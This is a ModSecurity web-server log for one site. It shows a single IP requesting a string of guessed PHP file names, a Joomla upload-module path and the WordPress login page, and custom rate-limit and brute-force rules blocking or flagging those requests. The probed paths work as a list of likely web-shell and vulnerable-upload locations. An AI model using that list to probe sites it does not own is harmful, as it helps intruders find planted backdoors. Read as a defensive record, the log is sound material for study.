[Mon Mar 30 23:38:32.460015 2026] [:error] [pid 63557:tid 63560] [client 72.146.16.175:61467] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zews.php"] [unique_id "acqY-K4QNVlzYgEvIjnLfgAAAQE"]
[Mon Mar 30 23:38:32.939501 2026] [:error] [pid 60835:tid 60848] [client 72.146.16.175:60701] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zews.php"] [unique_id "acqY-AIOJ4Lc0iJVRzwE5QAAAAs"]
[Mon Mar 30 23:38:33.490380 2026] [:error] [pid 60835:tid 60842] [client 72.146.16.175:61471] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "acqY-QIOJ4Lc0iJVRzwE6QAAAAU"]
[Mon Mar 30 23:38:33.961000 2026] [:error] [pid 63557:tid 63583] [client 72.146.16.175:63806] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "acqY-a4QNVlzYgEvIjnLjwAAARg"]
[Mon Mar 30 23:38:34.431189 2026] [:error] [pid 60746:tid 60780] [client 72.146.16.175:58209] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "acqY-p4kQrgjDdAbQCoytgAAAIQ"]
[Mon Mar 30 23:38:34.901563 2026] [:error] [pid 60745:tid 60752] [client 72.146.16.175:65489] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "acqY-iQDBn75QnHaPb9WWgAAAEM"]
[Mon Mar 30 23:38:35.385661 2026] [:error] [pid 63557:tid 63573] [client 72.146.16.175:61517] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "acqY-64QNVlzYgEvIjnLngAAAQ4"]
[Mon Mar 30 23:38:35.855775 2026] [:error] [pid 60746:tid 60788] [client 72.146.16.175:62236] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "acqY-54kQrgjDdAbQCoyuQAAAIw"]
[Mon Mar 30 23:38:36.348497 2026] [:error] [pid 63557:tid 63575] [client 72.146.16.175:60724] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "acqY_K4QNVlzYgEvIjnLoAAAARA"]
[Mon Mar 30 23:38:36.852898 2026] [:error] [pid 60746:tid 60798] [client 72.146.16.175:58958] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "acqY_J4kQrgjDdAbQCoyuwAAAJY"]
[Mon Mar 30 23:38:37.352437 2026] [:error] [pid 60747:tid 60819] [client 72.146.16.175:57650] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "acqY_QU3IY-cCpy_-zFQYAAAANA"]
[Mon Mar 30 23:38:37.835181 2026] [:error] [pid 60835:tid 60845] [client 72.146.16.175:60686] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "acqY_QIOJ4Lc0iJVRzwE-AAAAAg"]
[Mon Mar 30 23:38:38.327587 2026] [:error] [pid 60835:tid 60854] [client 72.146.16.175:61514] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "acqY_gIOJ4Lc0iJVRzwE-gAAABE"]
[Mon Mar 30 23:38:38.800149 2026] [:error] [pid 63557:tid 63580] [client 72.146.16.175:60749] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "acqY_q4QNVlzYgEvIjnLogAAARU"]
[Mon Mar 30 23:38:39.284430 2026] [:error] [pid 63557:tid 63567] [client 72.146.16.175:62270] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "acqY_64QNVlzYgEvIjnLowAAAQg"]
[Mon Mar 30 23:38:39.810314 2026] [:error] [pid 63557:tid 63571] [client 72.146.16.175:60246] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "acqY_64QNVlzYgEvIjnLpgAAAQw"]
[Mon Mar 30 23:38:40.289951 2026] [:error] [pid 60835:tid 60849] [client 72.146.16.175:58124] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "acqZAAIOJ4Lc0iJVRzwE_wAAAAw"]
[Mon Mar 30 23:38:40.763653 2026] [:error] [pid 60835:tid 60859] [client 72.146.16.175:62269] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "acqZAAIOJ4Lc0iJVRzwFAgAAABY"]
[Mon Mar 30 23:38:41.229249 2026] [:error] [pid 60747:tid 60824] [client 72.146.16.175:59413] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "acqZAQU3IY-cCpy_-zFQZAAAANU"]
[Mon Mar 30 23:38:41.700082 2026] [:error] [pid 60745:tid 60762] [client 72.146.16.175:58207] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "acqZASQDBn75QnHaPb9WXgAAAE0"]
[Mon Mar 30 23:38:42.174313 2026] [:error] [pid 60746:tid 60786] [client 72.146.16.175:63836] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "acqZAp4kQrgjDdAbQCoyvwAAAIo"]
[Mon Mar 30 23:38:42.644585 2026] [:error] [pid 60746:tid 60791] [client 72.146.16.175:61512] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "acqZAp4kQrgjDdAbQCoywAAAAI8"]
[Mon Mar 30 23:38:43.125631 2026] [:error] [pid 60745:tid 60771] [client 72.146.16.175:60674] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "acqZAyQDBn75QnHaPb9WYQAAAFY"]
[Mon Mar 30 23:38:43.601372 2026] [:error] [pid 60745:tid 60767] [client 72.146.16.175:65472] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "acqZAyQDBn75QnHaPb9WYgAAAFI"]
[Mon Mar 30 23:38:44.083666 2026] [:error] [pid 60745:tid 60749] [client 72.146.16.175:63844] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "acqZBCQDBn75QnHaPb9WYwAAAEA"]
[Mon Mar 30 23:38:44.606715 2026] [:error] [pid 60746:tid 60785] [client 72.146.16.175:60248] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "acqZBJ4kQrgjDdAbQCoywQAAAIk"]
[Mon Mar 30 23:38:45.131843 2026] [:error] [pid 60835:tid 60840] [client 72.146.16.175:58956] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mn.php"] [unique_id "acqZBQIOJ4Lc0iJVRzwFCgAAAAM"]
[Mon Mar 30 23:38:45.599199 2026] [:error] [pid 60745:tid 60754] [client 72.146.16.175:63847] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mn.php"] [unique_id "acqZBSQDBn75QnHaPb9WZwAAAEU"]
[Mon Mar 30 23:38:46.080907 2026] [:error] [pid 63557:tid 63559] [client 72.146.16.175:63750] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mn.php"] [unique_id "acqZBq4QNVlzYgEvIjnLsAAAAQA"]
[Mon Mar 30 23:38:46.549764 2026] [:error] [pid 63557:tid 63560] [client 72.146.16.175:59506] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mn.php"] [unique_id "acqZBq4QNVlzYgEvIjnLsgAAAQE"]
[Mon Mar 30 23:38:47.027417 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:62315] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "acqZB64QNVlzYgEvIjnLtAAAAQU"]
[Mon Mar 30 23:38:47.546012 2026] [:error] [pid 60835:tid 60847] [client 72.146.16.175:65427] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "acqZBwIOJ4Lc0iJVRzwFDQAAAAo"]
[Mon Mar 30 23:38:48.012854 2026] [:error] [pid 60835:tid 60843] [client 72.146.16.175:65505] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "acqZCAIOJ4Lc0iJVRzwFDwAAAAY"]
[Mon Mar 30 23:38:48.486605 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:65416] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "acqZCK4QNVlzYgEvIjnLugAAARc"]
[Mon Mar 30 23:38:48.967690 2026] [:error] [pid 60835:tid 60850] [client 72.146.16.175:60203] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/06.php"] [unique_id "acqZCAIOJ4Lc0iJVRzwFEgAAAA0"]
[Mon Mar 30 23:38:49.435684 2026] [:error] [pid 60835:tid 60837] [client 72.146.16.175:63832] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/06.php"] [unique_id "acqZCQIOJ4Lc0iJVRzwFFAAAAAA"]
[Mon Mar 30 23:38:49.906436 2026] [:error] [pid 60835:tid 60844] [client 72.146.16.175:62308] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/06.php"] [unique_id "acqZCQIOJ4Lc0iJVRzwFFgAAAAc"]
[Mon Mar 30 23:38:50.381089 2026] [:error] [pid 60835:tid 60845] [client 72.146.16.175:62227] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/06.php"] [unique_id "acqZCgIOJ4Lc0iJVRzwFFwAAAAg"]
[Mon Mar 30 23:38:50.865859 2026] [:error] [pid 60746:tid 60781] [client 72.146.16.175:65518] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/index.php"] [unique_id "acqZCp4kQrgjDdAbQCoyyQAAAIU"]
[Mon Mar 30 23:38:51.333899 2026] [:error] [pid 60746:tid 60777] [client 72.146.16.175:63770] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/index.php"] [unique_id "acqZC54kQrgjDdAbQCoyywAAAIE"]
[Mon Mar 30 23:38:51.802538 2026] [:error] [pid 60747:tid 60827] [client 72.146.16.175:61478] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/index.php"] [unique_id "acqZCwU3IY-cCpy_-zFQbwAAANg"]
[Mon Mar 30 23:38:52.290619 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:62300] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/index.php"] [unique_id "acqZDAU3IY-cCpy_-zFQdQAAAM4"]
[Mon Mar 30 23:38:52.782819 2026] [:error] [pid 60747:tid 60812] [client 72.146.16.175:65479] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "acqZDAU3IY-cCpy_-zFQdgAAAMk"]
[Mon Mar 30 23:38:53.257796 2026] [:error] [pid 60747:tid 60815] [client 72.146.16.175:60680] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "acqZDQU3IY-cCpy_-zFQeAAAAMw"]
[Mon Mar 30 23:38:53.736425 2026] [:error] [pid 63557:tid 63577] [client 72.146.16.175:61544] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "acqZDa4QNVlzYgEvIjnLvwAAARI"]
[Mon Mar 30 23:38:59.469270 2026] [:error] [pid 60835:tid 60859] [client 72.146.16.175:63747] [client 72.146.16.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.146.16.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acqZEwIOJ4Lc0iJVRzwFKgAAABY"]
[Mon Mar 30 23:39:11.461329 2026] [:error] [pid 60835:tid 60850] [client 72.146.16.175:63747] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/conte.php"] [unique_id "acqZHwIOJ4Lc0iJVRzwFVQAAAA0"]
[Mon Mar 30 23:39:11.942273 2026] [:error] [pid 63557:tid 63576] [client 72.146.16.175:60262] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/conte.php"] [unique_id "acqZH64QNVlzYgEvIjnL3QAAARE"]
[Mon Mar 30 23:39:12.422903 2026] [:error] [pid 63557:tid 63580] [client 72.146.16.175:62296] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/conte.php"] [unique_id "acqZIK4QNVlzYgEvIjnL3gAAARU"]
[Mon Mar 30 23:39:12.899464 2026] [:error] [pid 63557:tid 63581] [client 72.146.16.175:65428] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/conte.php"] [unique_id "acqZIK4QNVlzYgEvIjnL3wAAARY"]
[Mon Mar 30 23:39:13.377764 2026] [:error] [pid 60747:tid 60818] [client 72.146.16.175:61495] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class3.php"] [unique_id "acqZIQU3IY-cCpy_-zFQjwAAAM8"]
[Mon Mar 30 23:39:13.845922 2026] [:error] [pid 60835:tid 60846] [client 72.146.16.175:58916] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class3.php"] [unique_id "acqZIQIOJ4Lc0iJVRzwFXAAAAAk"]
[Mon Mar 30 23:39:14.322865 2026] [:error] [pid 60746:tid 60782] [client 72.146.16.175:65411] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class3.php"] [unique_id "acqZIp4kQrgjDdAbQCoy2QAAAIY"]
[Mon Mar 30 23:39:14.819687 2026] [:error] [pid 60745:tid 60751] [client 72.146.16.175:60230] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class3.php"] [unique_id "acqZIiQDBn75QnHaPb9WcwAAAEI"]
[Mon Mar 30 23:39:15.307810 2026] [:error] [pid 60835:tid 60843] [client 72.146.16.175:61564] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs18.php"] [unique_id "acqZIwIOJ4Lc0iJVRzwFYgAAAAY"]
[Mon Mar 30 23:39:15.814653 2026] [:error] [pid 60835:tid 60837] [client 72.146.16.175:58991] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs18.php"] [unique_id "acqZIwIOJ4Lc0iJVRzwFZQAAAAA"]
